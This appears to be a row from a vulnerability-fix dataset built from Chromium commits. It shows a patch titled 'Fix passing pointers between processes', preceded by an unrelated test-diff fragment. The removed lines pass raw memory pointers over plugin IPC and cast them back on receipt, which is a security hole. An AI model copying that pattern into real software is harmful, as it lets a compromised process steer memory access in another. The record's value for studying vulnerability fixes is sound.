class DataReductionProxyWithHoldbackBrowsertest
: public ::testing::WithParamInterface<bool>,
public DataReductionProxyBrowsertest {
public:
+ DataReductionProxyWithHoldbackBrowsertest()
+ : DataReductionProxyBrowsertest(),
+ data_reduction_proxy_holdback_enabled_(GetParam()) {}
+
void SetUp() override {
- if (GetParam()) {
+ if (data_reduction_proxy_holdback_enabled_) {
scoped_feature_list_.InitWithFeatures(
{features::kDataReductionProxyEnabledWithNetworkService,
data_reduction_proxy::features::kDataReductionProxyHoldback},
@@ -656,6 +670,8 @@ class DataReductionProxyWithHoldbackBrowsertest
InProcessBrowserTest::SetUp();
}
+ const bool data_reduction_proxy_holdback_enabled_;
+
private:
base::test::ScopedFeatureList scoped_feature_list_;
};
@@ -673,8 +689,13 @@ IN_PROC_BROWSER_TEST_P(DataReductionProxyWithHoldbackBrowsertest,
SetConfig(CreateConfigForServer(proxy_server));
// A network change forces the config to be fetched.
SimulateNetworkChange(network::mojom::ConnectionType::CONNECTION_3G);
+
WaitForConfig();
+ // Load a webpage in holdback group as well. This ensures that while in
+ // holdback group, Chrome does not fetch the client config. If Chrome were to
+ // fetch the client config, the DHCECKs and other conditionals that check that
+ // holdback is not enabled would trigger and cause the test to fail.
ui_test_utils::NavigateToURL(browser(), GURL("http://does.not.resolve/foo"));
if (GetParam()) {
|
Chrome
|
69b4b9ef7455753b12c3efe4eec71647e6fb1da1
|
5dae42d82808e0d4fe2001dc7066224da6d771f6
| 0
|
void SetResponseHook(ResponseHook response_hook) {
base::AutoLock auto_lock(lock_);
response_hook_ = response_hook;
}
|
99,892
| null | null | null | null | null | null | null | null | null | null | null | null | null | null |
2010-03
| null | 0
|
https://github.com/chromium/chromium/commit/ea3d1d84be3d6f97bf50e76511c9e26af6895533
|
ea3d1d84be3d6f97bf50e76511c9e26af6895533
|
Fix passing pointers between processes.
BUG=31880
Review URL: http://codereview.chromium.org/558036
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@37555 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
chrome/renderer/webplugin_delegate_proxy.cc
|
{"sha": "74de33f85ed2506f6309cec420c932b871c2ebe7", "filename": "chrome/common/plugin_messages.h", "status": "modified", "additions": 9, "deletions": 65, "changes": 74, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/common/plugin_messages.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/common/plugin_messages.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/common/plugin_messages.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -42,25 +42,14 @@ struct PluginMsg_Init_Params {\n };\n \n struct PluginHostMsg_URLRequest_Params {\n+ std::string url;\n std::string method;\n- bool is_javascript_url;\n std::string target;\n std::vector<char> buffer;\n- bool is_file_data;\n- bool notify;\n- std::string url;\n- intptr_t notify_data;\n+ int notify_id;\n bool popups_allowed;\n };\n \n-struct PluginMsg_URLRequestReply_Params {\n- unsigned long resource_id;\n- GURL url;\n- bool notify_needed;\n- intptr_t notify_data;\n- intptr_t stream;\n-};\n-\n struct PluginMsg_DidReceiveResponseParams {\n unsigned long id;\n std::string mime_type;\n@@ -163,84 +152,39 @@ template <>\n struct ParamTraits<PluginHostMsg_URLRequest_Params> {\n typedef PluginHostMsg_URLRequest_Params param_type;\n static void Write(Message* m, const param_type& p) {\n+ WriteParam(m, p.url);\n WriteParam(m, p.method);\n- WriteParam(m, p.is_javascript_url);\n WriteParam(m, p.target);\n WriteParam(m, p.buffer);\n- WriteParam(m, p.is_file_data);\n- WriteParam(m, p.notify);\n- WriteParam(m, p.url);\n- WriteParam(m, p.notify_data);\n+ WriteParam(m, p.notify_id);\n WriteParam(m, p.popups_allowed);\n }\n static bool Read(const Message* m, void** iter, param_type* p) {\n return\n+ ReadParam(m, iter, &p->url) &&\n ReadParam(m, iter, &p->method) &&\n- ReadParam(m, iter, &p->is_javascript_url) &&\n ReadParam(m, iter, &p->target) &&\n ReadParam(m, iter, &p->buffer) &&\n- ReadParam(m, iter, &p->is_file_data) &&\n- ReadParam(m, iter, &p->notify) &&\n- ReadParam(m, iter, &p->url) &&\n- ReadParam(m, iter, &p->notify_data) &&\n+ ReadParam(m, iter, &p->notify_id) &&\n ReadParam(m, iter, &p->popups_allowed);\n }\n static void Log(const param_type& p, std::wstring* l) {\n l->append(L\"(\");\n- LogParam(p.method, l);\n+ LogParam(p.url, l);\n l->append(L\", \");\n- LogParam(p.is_javascript_url, l);\n+ LogParam(p.method, l);\n l->append(L\", \");\n LogParam(p.target, l);\n l->append(L\", \");\n LogParam(p.buffer, l);\n l->append(L\", \");\n- LogParam(p.is_file_data, l);\n- l->append(L\", \");\n- LogParam(p.notify, l);\n- l->append(L\", \");\n- LogParam(p.url, l);\n- l->append(L\", \");\n- LogParam(p.notify_data, l);\n+ LogParam(p.notify_id, l);\n l->append(L\", \");\n LogParam(p.popups_allowed, l);\n l->append(L\")\");\n }\n };\n \n-template <>\n-struct ParamTraits<PluginMsg_URLRequestReply_Params> {\n- typedef PluginMsg_URLRequestReply_Params param_type;\n- static void Write(Message* m, const param_type& p) {\n- WriteParam(m, p.resource_id);\n- WriteParam(m, p.url);\n- WriteParam(m, p.notify_needed);\n- WriteParam(m, p.notify_data);\n- WriteParam(m, p.stream);\n- }\n- static bool Read(const Message* m, void** iter, param_type* p) {\n- return\n- ReadParam(m, iter, &p->resource_id) &&\n- ReadParam(m, iter, &p->url) &&\n- ReadParam(m, iter, &p->notify_needed) &&\n- ReadParam(m, iter, &p->notify_data) &&\n- ReadParam(m, iter, &p->stream);\n- }\n- static void Log(const param_type& p, std::wstring* l) {\n- l->append(L\"(\");\n- LogParam(p.resource_id, l);\n- l->append(L\", \");\n- LogParam(p.url, l);\n- l->append(L\", \");\n- LogParam(p.notify_needed, l);\n- l->append(L\", \");\n- LogParam(p.notify_data, l);\n- l->append(L\", \");\n- LogParam(p.stream, l);\n- l->append(L\")\");\n- }\n-};\n-\n template <>\n struct ParamTraits<PluginMsg_DidReceiveResponseParams> {\n typedef PluginMsg_DidReceiveResponseParams param_type;"}<_**next**_>{"sha": "f65816c4de7fb55a99700db1e1d0140c3c9ff804", "filename": "chrome/common/plugin_messages_internal.h", "status": "modified", "additions": 22, "deletions": 22, "changes": 44, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/common/plugin_messages_internal.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/common/plugin_messages_internal.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/common/plugin_messages_internal.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -202,14 +202,13 @@ IPC_BEGIN_MESSAGES(Plugin)\n base::SharedMemoryHandle /* shared_memory*/,\n size_t /* size */)\n \n- IPC_SYNC_MESSAGE_ROUTED0_2(PluginMsg_GetPluginScriptableObject,\n- int /* route_id */,\n- intptr_t /* npobject_ptr */)\n+ IPC_SYNC_MESSAGE_ROUTED0_1(PluginMsg_GetPluginScriptableObject,\n+ int /* route_id */)\n \n- IPC_SYNC_MESSAGE_ROUTED3_0(PluginMsg_DidFinishLoadWithReason,\n- GURL /* url */,\n- int /* reason */,\n- intptr_t /* notify_data */)\n+ IPC_MESSAGE_ROUTED3(PluginMsg_DidFinishLoadWithReason,\n+ GURL /* url */,\n+ int /* reason */,\n+ int /* notify_id */)\n \n // Updates the plugin location.\n IPC_MESSAGE_ROUTED1(PluginMsg_UpdateGeometry,\n@@ -244,12 +243,11 @@ IPC_BEGIN_MESSAGES(Plugin)\n IPC_MESSAGE_ROUTED1(PluginMsg_DidFail,\n unsigned long /* id */)\n \n- IPC_MESSAGE_ROUTED5(PluginMsg_SendJavaScriptStream,\n+ IPC_MESSAGE_ROUTED4(PluginMsg_SendJavaScriptStream,\n GURL /* url */,\n std::string /* result */,\n bool /* success */,\n- bool /* notify required */,\n- intptr_t /* notify data */)\n+ int /* notify_id */)\n \n IPC_MESSAGE_ROUTED2(PluginMsg_DidReceiveManualResponse,\n GURL /* url */,\n@@ -264,8 +262,14 @@ IPC_BEGIN_MESSAGES(Plugin)\n \n IPC_MESSAGE_ROUTED0(PluginMsg_InstallMissingPlugin)\n \n- IPC_SYNC_MESSAGE_ROUTED1_0(PluginMsg_HandleURLRequestReply,\n- PluginMsg_URLRequestReply_Params)\n+ IPC_MESSAGE_ROUTED3(PluginMsg_HandleURLRequestReply,\n+ unsigned long /* resource_id */,\n+ GURL /* url */,\n+ int /* notify_id */)\n+\n+ IPC_MESSAGE_ROUTED2(PluginMsg_HTTPRangeRequestReply,\n+ unsigned long /* resource_id */,\n+ int /* range_request_id */)\n \n IPC_SYNC_MESSAGE_ROUTED0_1(PluginMsg_CreateCommandBuffer,\n int /* route_id */)\n@@ -307,15 +311,13 @@ IPC_BEGIN_MESSAGES(PluginHost)\n IPC_MESSAGE_ROUTED1(PluginHostMsg_InvalidateRect,\n gfx::Rect /* rect */)\n \n- IPC_SYNC_MESSAGE_ROUTED1_2(PluginHostMsg_GetWindowScriptNPObject,\n+ IPC_SYNC_MESSAGE_ROUTED1_1(PluginHostMsg_GetWindowScriptNPObject,\n int /* route id */,\n- bool /* success */,\n- intptr_t /* npobject_ptr */)\n+ bool /* success */)\n \n- IPC_SYNC_MESSAGE_ROUTED1_2(PluginHostMsg_GetPluginElement,\n+ IPC_SYNC_MESSAGE_ROUTED1_1(PluginHostMsg_GetPluginElement,\n int /* route id */,\n- bool /* success */,\n- intptr_t /* npobject_ptr */)\n+ bool /* success */)\n \n IPC_MESSAGE_ROUTED3(PluginHostMsg_SetCookie,\n GURL /* url */,\n@@ -356,12 +358,10 @@ IPC_BEGIN_MESSAGES(PluginHost)\n \n IPC_MESSAGE_ROUTED0(PluginHostMsg_CancelDocumentLoad)\n \n- IPC_MESSAGE_ROUTED5(PluginHostMsg_InitiateHTTPRangeRequest,\n+ IPC_MESSAGE_ROUTED3(PluginHostMsg_InitiateHTTPRangeRequest,\n std::string /* url */,\n std::string /* range_info */,\n- intptr_t /* existing_stream */,\n- bool /* notify_needed */,\n- intptr_t /* notify_data */)\n+ int /* range_request_id */)\n \n IPC_MESSAGE_ROUTED2(PluginHostMsg_DeferResourceLoading,\n unsigned long /* resource_id */,"}<_**next**_>{"sha": "1764366072348c6603d4d2d31f0a77f03c8d81ea", "filename": "chrome/plugin/webplugin_delegate_stub.cc", "status": "modified", "additions": 17, "deletions": 16, "changes": 33, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/plugin/webplugin_delegate_stub.cc", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/plugin/webplugin_delegate_stub.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/plugin/webplugin_delegate_stub.cc?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -130,6 +130,8 @@ void WebPluginDelegateStub::OnMessageReceived(const IPC::Message& msg) {\n IPC_MESSAGE_HANDLER(PluginMsg_InstallMissingPlugin, OnInstallMissingPlugin)\n IPC_MESSAGE_HANDLER(PluginMsg_HandleURLRequestReply,\n OnHandleURLRequestReply)\n+ IPC_MESSAGE_HANDLER(PluginMsg_HTTPRangeRequestReply,\n+ OnHTTPRangeRequestReply)\n IPC_MESSAGE_HANDLER(PluginMsg_CreateCommandBuffer,\n OnCreateCommandBuffer)\n IPC_MESSAGE_UNHANDLED_ERROR()\n@@ -237,8 +239,8 @@ void WebPluginDelegateStub::OnDidFail(int id) {\n }\n \n void WebPluginDelegateStub::OnDidFinishLoadWithReason(\n- const GURL& url, int reason, intptr_t notify_data) {\n- delegate_->DidFinishLoadWithReason(url, reason, notify_data);\n+ const GURL& url, int reason, int notify_id) {\n+ delegate_->DidFinishLoadWithReason(url, reason, notify_id);\n }\n \n void WebPluginDelegateStub::OnSetFocus() {\n@@ -304,17 +306,14 @@ void WebPluginDelegateStub::OnUpdateGeometry(\n );\n }\n \n-void WebPluginDelegateStub::OnGetPluginScriptableObject(\n- int* route_id,\n- intptr_t* npobject_ptr) {\n+void WebPluginDelegateStub::OnGetPluginScriptableObject(int* route_id) {\n NPObject* object = delegate_->GetPluginScriptableObject();\n if (!object) {\n *route_id = MSG_ROUTING_NONE;\n return;\n }\n \n *route_id = channel_->GenerateRouteID();\n- *npobject_ptr = reinterpret_cast<intptr_t>(object);\n // The stub will delete itself when the proxy tells it that it's released, or\n // otherwise when the channel is closed.\n new NPObjectStub(\n@@ -328,10 +327,8 @@ void WebPluginDelegateStub::OnGetPluginScriptableObject(\n void WebPluginDelegateStub::OnSendJavaScriptStream(const GURL& url,\n const std::string& result,\n bool success,\n- bool notify_needed,\n- intptr_t notify_data) {\n- delegate_->SendJavaScriptStream(url, result, success, notify_needed,\n- notify_data);\n+ int notify_id) {\n+ delegate_->SendJavaScriptStream(url, result, success, notify_id);\n }\n \n void WebPluginDelegateStub::OnDidReceiveManualResponse(\n@@ -404,11 +401,15 @@ void WebPluginDelegateStub::CreateSharedBuffer(\n }\n \n void WebPluginDelegateStub::OnHandleURLRequestReply(\n- const PluginMsg_URLRequestReply_Params& params) {\n+ unsigned long resource_id, const GURL& url, int notify_id) {\n WebPluginResourceClient* resource_client =\n- delegate_->CreateResourceClient(params.resource_id, params.url,\n- params.notify_needed,\n- params.notify_data,\n- params.stream);\n- webplugin_->OnResourceCreated(params.resource_id, resource_client);\n+ delegate_->CreateResourceClient(resource_id, url, notify_id);\n+ webplugin_->OnResourceCreated(resource_id, resource_client);\n+}\n+\n+void WebPluginDelegateStub::OnHTTPRangeRequestReply(\n+ unsigned long resource_id, int range_request_id) {\n+ WebPluginResourceClient* resource_client =\n+ delegate_->CreateSeekableResourceClient(resource_id, range_request_id);\n+ webplugin_->OnResourceCreated(resource_id, resource_client);\n }"}<_**next**_>{"sha": "ddc863272ae09485bdc48f364c4250d798b1b967", "filename": "chrome/plugin/webplugin_delegate_stub.h", "status": "modified", "additions": 8, "deletions": 17, "changes": 25, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/plugin/webplugin_delegate_stub.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/plugin/webplugin_delegate_stub.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/plugin/webplugin_delegate_stub.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -24,7 +24,6 @@ class WebPluginProxy;\n struct PluginMsg_Init_Params;\n struct PluginMsg_DidReceiveResponseParams;\n struct PluginMsg_UpdateGeometry_Param;\n-struct PluginMsg_URLRequestReply_Params;\n class WebCursor;\n \n namespace WebKit {\n@@ -59,45 +58,37 @@ class WebPluginDelegateStub : public IPC::Channel::Listener,\n // Message handlers for the WebPluginDelegate calls that are proxied from the\n // renderer over the IPC channel.\n void OnInit(const PluginMsg_Init_Params& params, bool* result);\n-\n void OnWillSendRequest(int id, const GURL& url);\n void OnDidReceiveResponse(const PluginMsg_DidReceiveResponseParams& params);\n void OnDidReceiveData(int id, const std::vector<char>& buffer,\n int data_offset);\n void OnDidFinishLoading(int id);\n void OnDidFail(int id);\n-\n- void OnDidFinishLoadWithReason(const GURL& url, int reason,\n- intptr_t notify_data);\n+ void OnDidFinishLoadWithReason(const GURL& url, int reason, int notify_id);\n void OnSetFocus();\n void OnHandleInputEvent(const WebKit::WebInputEvent* event,\n bool* handled, WebCursor* cursor);\n-\n void OnPaint(const gfx::Rect& damaged_rect);\n void OnDidPaint();\n-\n void OnPrint(base::SharedMemoryHandle* shared_memory, size_t* size);\n-\n void OnUpdateGeometry(const PluginMsg_UpdateGeometry_Param& param);\n- void OnGetPluginScriptableObject(int* route_id, intptr_t* npobject_ptr);\n+ void OnGetPluginScriptableObject(int* route_id);\n void OnSendJavaScriptStream(const GURL& url,\n const std::string& result,\n- bool success, bool notify_needed,\n- intptr_t notify_data);\n-\n+ bool success,\n+ int notify_id);\n void OnDidReceiveManualResponse(\n const GURL& url,\n const PluginMsg_DidReceiveResponseParams& params);\n void OnDidReceiveManualData(const std::vector<char>& buffer);\n void OnDidFinishManualLoading();\n void OnDidManualLoadFail();\n void OnInstallMissingPlugin();\n-\n- void OnHandleURLRequestReply(\n- const PluginMsg_URLRequestReply_Params& params);\n-\n+ void OnHandleURLRequestReply(unsigned long resource_id,\n+ const GURL& url,\n+ int notify_id);\n+ void OnHTTPRangeRequestReply(unsigned long resource_id, int range_request_id);\n void OnCreateCommandBuffer(int* route_id);\n-\n void CreateSharedBuffer(size_t size,\n base::SharedMemory* shared_buf,\n base::SharedMemoryHandle* remote_handle);"}<_**next**_>{"sha": "a05113b1051cee88a65635578c19405011442f54", "filename": "chrome/plugin/webplugin_proxy.cc", "status": "modified", "additions": 18, "deletions": 41, "changes": 59, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/plugin/webplugin_proxy.cc", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/plugin/webplugin_proxy.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/plugin/webplugin_proxy.cc?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -26,7 +26,6 @@\n #include \"chrome/plugin/npobject_util.h\"\n #include \"chrome/plugin/plugin_channel.h\"\n #include \"chrome/plugin/plugin_thread.h\"\n-#include \"chrome/plugin/webplugin_delegate_stub.h\"\n #include \"skia/ext/platform_device.h\"\n #include \"third_party/WebKit/WebKit/chromium/public/WebBindings.h\"\n #include \"webkit/glue/plugins/webplugin_delegate_impl.h\"\n@@ -151,9 +150,8 @@ NPObject* WebPluginProxy::GetWindowScriptNPObject() {\n \n int npobject_route_id = channel_->GenerateRouteID();\n bool success = false;\n- intptr_t npobject_ptr = NULL;\n Send(new PluginHostMsg_GetWindowScriptNPObject(\n- route_id_, npobject_route_id, &success, &npobject_ptr));\n+ route_id_, npobject_route_id, &success));\n if (!success)\n return NULL;\n \n@@ -169,9 +167,7 @@ NPObject* WebPluginProxy::GetPluginElement() {\n \n int npobject_route_id = channel_->GenerateRouteID();\n bool success = false;\n- intptr_t npobject_ptr = NULL;\n- Send(new PluginHostMsg_GetPluginElement(\n- route_id_, npobject_route_id, &success, &npobject_ptr));\n+ Send(new PluginHostMsg_GetPluginElement(route_id_, npobject_route_id, &success));\n if (!success)\n return NULL;\n \n@@ -254,31 +250,20 @@ void WebPluginProxy::DidPaint() {\n InvalidateRect(damaged_rect_);\n }\n \n-void WebPluginProxy::OnResourceCreated(int resource_id, HANDLE cookie) {\n- WebPluginResourceClient* resource_client =\n- reinterpret_cast<WebPluginResourceClient*>(cookie);\n- if (!resource_client) {\n- NOTREACHED();\n- return;\n- }\n-\n+void WebPluginProxy::OnResourceCreated(int resource_id,\n+ WebPluginResourceClient* client) {\n DCHECK(resource_clients_.find(resource_id) == resource_clients_.end());\n- resource_clients_[resource_id] = resource_client;\n+ resource_clients_[resource_id] = client;\n }\n \n-void WebPluginProxy::HandleURLRequest(const char *method,\n- bool is_javascript_url,\n- const char* target, unsigned int len,\n- const char* buf, bool is_file_data,\n- bool notify, const char* url,\n- intptr_t notify_data,\n+void WebPluginProxy::HandleURLRequest(const char* url,\n+ const char *method,\n+ const char* target,\n+ const char* buf,\n+ unsigned int len,\n+ int notify_id,\n bool popups_allowed) {\n- if (!url) {\n- NOTREACHED();\n- return;\n- }\n-\n- if (!target && (0 == base::strcasecmp(method, \"GET\"))) {\n+ if (!target && (0 == base::strcasecmp(method, \"GET\"))) {\n // Please refer to https://bugzilla.mozilla.org/show_bug.cgi?id=366082\n // for more details on this.\n if (delegate_->GetQuirks() &\n@@ -293,8 +278,8 @@ void WebPluginProxy::HandleURLRequest(const char *method,\n }\n \n PluginHostMsg_URLRequest_Params params;\n+ params.url = url;\n params.method = method;\n- params.is_javascript_url = is_javascript_url;\n if (target)\n params.target = std::string(target);\n \n@@ -303,10 +288,7 @@ void WebPluginProxy::HandleURLRequest(const char *method,\n memcpy(¶ms.buffer.front(), buf, len);\n }\n \n- params.is_file_data = is_file_data;\n- params.notify = notify;\n- params.url = url;\n- params.notify_data = notify_data;\n+ params.notify_id = notify_id;\n params.popups_allowed = popups_allowed;\n \n Send(new PluginHostMsg_URLRequest(route_id_, params));\n@@ -567,15 +549,10 @@ void WebPluginProxy::CancelDocumentLoad() {\n Send(new PluginHostMsg_CancelDocumentLoad(route_id_));\n }\n \n-void WebPluginProxy::InitiateHTTPRangeRequest(const char* url,\n- const char* range_info,\n- intptr_t existing_stream,\n- bool notify_needed,\n- intptr_t notify_data) {\n-\n- Send(new PluginHostMsg_InitiateHTTPRangeRequest(route_id_, url,\n- range_info, existing_stream,\n- notify_needed, notify_data));\n+void WebPluginProxy::InitiateHTTPRangeRequest(\n+ const char* url, const char* range_info, int range_request_id) {\n+ Send(new PluginHostMsg_InitiateHTTPRangeRequest(\n+ route_id_, url, range_info, range_request_id));\n }\n \n void WebPluginProxy::SetDeferResourceLoading(unsigned long resource_id,"}<_**next**_>{"sha": "5fc699c31ed1a9dab14293f52732b3be4fdfced1", "filename": "chrome/plugin/webplugin_proxy.h", "status": "modified", "additions": 13, "deletions": 22, "changes": 35, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/plugin/webplugin_proxy.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/plugin/webplugin_proxy.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/plugin/webplugin_proxy.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -103,17 +103,17 @@ class WebPluginProxy : public webkit_glue::WebPlugin {\n // Callback from the renderer to let us know that a paint occurred.\n void DidPaint();\n \n- // Notification received on a plugin issued resource request\n- // creation.\n- void OnResourceCreated(int resource_id, HANDLE cookie);\n-\n- void HandleURLRequest(const char *method,\n- bool is_javascript_url,\n- const char* target, unsigned int len,\n- const char* buf, bool is_file_data,\n- bool notify, const char* url,\n- intptr_t notify_data, bool popups_allowed);\n-\n+ // Notification received on a plugin issued resource request creation.\n+ void OnResourceCreated(int resource_id,\n+ webkit_glue::WebPluginResourceClient* client);\n+\n+ void HandleURLRequest(const char* url,\n+ const char *method,\n+ const char* target,\n+ const char* buf,\n+ unsigned int len,\n+ int notify_id,\n+ bool popups_allowed);\n void UpdateGeometry(const gfx::Rect& window_rect,\n const gfx::Rect& clip_rect,\n const TransportDIB::Handle& windowless_buffer,\n@@ -123,22 +123,13 @@ class WebPluginProxy : public webkit_glue::WebPlugin {\n int ack_key\n #endif\n );\n-\n void CancelDocumentLoad();\n-\n- void InitiateHTTPRangeRequest(const char* url,\n- const char* range_info,\n- intptr_t existing_stream,\n- bool notify_needed,\n- intptr_t notify_data);\n-\n+ void InitiateHTTPRangeRequest(\n+ const char* url, const char* range_info, int range_request_id);\n void SetDeferResourceLoading(unsigned long resource_id, bool defer);\n-\n bool IsOffTheRecord();\n-\n void ResourceClientDeleted(\n webkit_glue::WebPluginResourceClient* resource_client);\n-\n gfx::NativeViewId containing_window() { return containing_window_; }\n \n private:"}<_**next**_>{"sha": "b9b61fe98ebfcfec92c2cd5f4a66e3943fa8793c", "filename": "chrome/renderer/webplugin_delegate_pepper.cc", "status": "modified", "additions": 10, "deletions": 24, "changes": 34, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/renderer/webplugin_delegate_pepper.cc", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/renderer/webplugin_delegate_pepper.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/webplugin_delegate_pepper.cc?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -173,11 +173,8 @@ NPObject* WebPluginDelegatePepper::GetPluginScriptableObject() {\n }\n \n void WebPluginDelegatePepper::DidFinishLoadWithReason(\n- const GURL& url,\n- NPReason reason,\n- intptr_t notify_data) {\n- instance()->DidFinishLoadWithReason(\n- url, reason, reinterpret_cast<void*>(notify_data));\n+ const GURL& url, NPReason reason, int notify_id) {\n+ instance()->DidFinishLoadWithReason(url, reason, notify_id);\n }\n \n int WebPluginDelegatePepper::GetProcessId() {\n@@ -189,10 +186,8 @@ void WebPluginDelegatePepper::SendJavaScriptStream(\n const GURL& url,\n const std::string& result,\n bool success,\n- bool notify_needed,\n- intptr_t notify_data) {\n- instance()->SendJavaScriptStream(url, result, success, notify_needed,\n- notify_data);\n+ int notify_id) {\n+ instance()->SendJavaScriptStream(url, result, success, notify_id);\n }\n \n void WebPluginDelegatePepper::DidReceiveManualResponse(\n@@ -220,22 +215,13 @@ FilePath WebPluginDelegatePepper::GetPluginPath() {\n }\n \n WebPluginResourceClient* WebPluginDelegatePepper::CreateResourceClient(\n- unsigned long resource_id, const GURL& url, bool notify_needed,\n- intptr_t notify_data, intptr_t existing_stream) {\n- // Stream already exists. This typically happens for range requests\n- // initiated via NPN_RequestRead.\n- if (existing_stream) {\n- NPAPI::PluginStream* plugin_stream =\n- reinterpret_cast<NPAPI::PluginStream*>(existing_stream);\n-\n- return plugin_stream->AsResourceClient();\n- }\n+ unsigned long resource_id, const GURL& url, int notify_id) {\n+ return instance()->CreateStream(resource_id, url, std::string(), notify_id);\n+}\n \n- std::string mime_type;\n- NPAPI::PluginStreamUrl *stream = instance()->CreateStream(\n- resource_id, url, mime_type, notify_needed,\n- reinterpret_cast<void*>(notify_data));\n- return stream;\n+WebPluginResourceClient* WebPluginDelegatePepper::CreateSeekableResourceClient(\n+ unsigned long resource_id, int range_request_id) {\n+ return instance()->GetRangeRequest(range_request_id);\n }\n \n NPError WebPluginDelegatePepper::Device2DQueryCapability(int32 capability,"}<_**next**_>{"sha": "b316789866c9a3155d4aa5ebce7e06d5f672f921", "filename": "chrome/renderer/webplugin_delegate_pepper.h", "status": "modified", "additions": 6, "deletions": 8, "changes": 14, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/renderer/webplugin_delegate_pepper.h", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/renderer/webplugin_delegate_pepper.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/webplugin_delegate_pepper.h?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -53,12 +53,12 @@ class WebPluginDelegatePepper : public webkit_glue::WebPluginDelegate {\n WebKit::WebCursorInfo* cursor);\n virtual NPObject* GetPluginScriptableObject();\n virtual void DidFinishLoadWithReason(const GURL& url, NPReason reason,\n- intptr_t notify_data);\n+ int notify_id);\n virtual int GetProcessId();\n virtual void SendJavaScriptStream(const GURL& url,\n const std::string& result,\n- bool success, bool notify_needed,\n- intptr_t notify_data);\n+ bool success,\n+ int notify_id);\n virtual void DidReceiveManualResponse(const GURL& url,\n const std::string& mime_type,\n const std::string& headers,\n@@ -69,11 +69,9 @@ class WebPluginDelegatePepper : public webkit_glue::WebPluginDelegate {\n virtual void DidManualLoadFail();\n virtual void InstallMissingPlugin();\n virtual webkit_glue::WebPluginResourceClient* CreateResourceClient(\n- unsigned long resource_id,\n- const GURL& url,\n- bool notify_needed,\n- intptr_t notify_data,\n- intptr_t stream);\n+ unsigned long resource_id, const GURL& url, int notify_id);\n+ virtual webkit_glue::WebPluginResourceClient* CreateSeekableResourceClient(\n+ unsigned long resource_id, int range_request_id);\n \n // WebPlugin2DDeviceDelegate implementation.\n virtual NPError Device2DQueryCapability(int32 capability, int32* value);"}<_**next**_>{"sha": "83666d516735f6b418e7fbbe3f0c08abe8f213d3", "filename": "chrome/renderer/webplugin_delegate_proxy.cc", "status": "modified", "additions": 41, "deletions": 51, "changes": 92, "blob_url": "https://github.com/chromium/chromium/blob/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/renderer/webplugin_delegate_proxy.cc", "raw_url": "https://github.com/chromium/chromium/raw/ea3d1d84be3d6f97bf50e76511c9e26af6895533/chrome/renderer/webplugin_delegate_proxy.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/webplugin_delegate_proxy.cc?ref=ea3d1d84be3d6f97bf50e76511c9e26af6895533", "patch": "@@ -66,31 +66,24 @@ class ResourceClientProxy : public webkit_glue::WebPluginResourceClient {\n public:\n ResourceClientProxy(PluginChannelHost* channel, int instance_id)\n : channel_(channel), instance_id_(instance_id), resource_id_(0),\n- notify_needed_(false), notify_data_(0),\n multibyte_response_expected_(false) {\n }\n \n ~ResourceClientProxy() {\n }\n \n- void Initialize(unsigned long resource_id, const GURL& url,\n- bool notify_needed, intptr_t notify_data,\n- intptr_t existing_stream) {\n+ void Initialize(unsigned long resource_id, const GURL& url, int notify_id) {\n resource_id_ = resource_id;\n- url_ = url;\n- notify_needed_ = notify_needed;\n- notify_data_ = notify_data;\n-\n- PluginMsg_URLRequestReply_Params params;\n- params.resource_id = resource_id;\n- params.url = url_;\n- params.notify_needed = notify_needed_;\n- params.notify_data = notify_data_;\n- params.stream = existing_stream;\n-\n- multibyte_response_expected_ = (existing_stream != 0);\n+ channel_->Send(new PluginMsg_HandleURLRequestReply(\n+ instance_id_, 